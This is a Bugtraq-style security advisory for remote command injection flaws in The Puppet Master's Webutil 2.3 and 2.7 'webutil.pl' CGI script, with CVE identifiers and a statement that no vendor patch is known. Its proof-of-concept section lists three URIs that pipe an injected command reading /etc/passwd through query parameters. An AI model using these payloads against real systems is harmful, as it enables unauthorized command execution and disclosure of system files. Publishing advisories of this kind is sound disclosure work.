Webutil 'webutil.pl' Multiple Remote Command Execution Vulnerabilities

BID:28393

Info

Webutil 'webutil.pl' Multiple Remote Command Execution Vulnerabilities

Bugtraq ID: 28393
Class: Input Validation Error
CVE: CVE-2008-6556
CVE-2008-6557
CVE-2008-6555
Remote: Yes
Local: No
Published: Mar 21 2008 12:00AM
Updated: Jul 06 2016 02:17PM
Credit: Zero X
Vulnerable: The Puppet Master Webutil 2.7
The Puppet Master Webutil 2.3
Not Vulnerable:

Discussion

Webutil 'webutil.pl' Multiple Remote Command Execution Vulnerabilities

Webutil is prone to multiple vulnerabilities that attackers can leverage to execute arbitrary commands. These issues occur because the application fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected application and possibly the underlying computer.

These issues affect Webutil 2.3 and 2.7.

Exploit / POC

Webutil 'webutil.pl' Multiple Remote Command Execution Vulnerabilities

The following proof-of-concept URIs are available:

http://www.example.com/cgi-bin/webutil.pl?details&|cat$IFS/etc/passwd
http://www.example.com/cgi-bin/webutil.pl?dig&|cat$IFS/etc/passwd
http://www.example.com/cgi-bin/webutil.pl?whois&|cat$IFS/etc/passwd

Solution / Fix

Webutil 'webutil.pl' Multiple Remote Command Execution Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Webutil 'webutil.pl' Multiple Remote Command Execution Vulnerabilities

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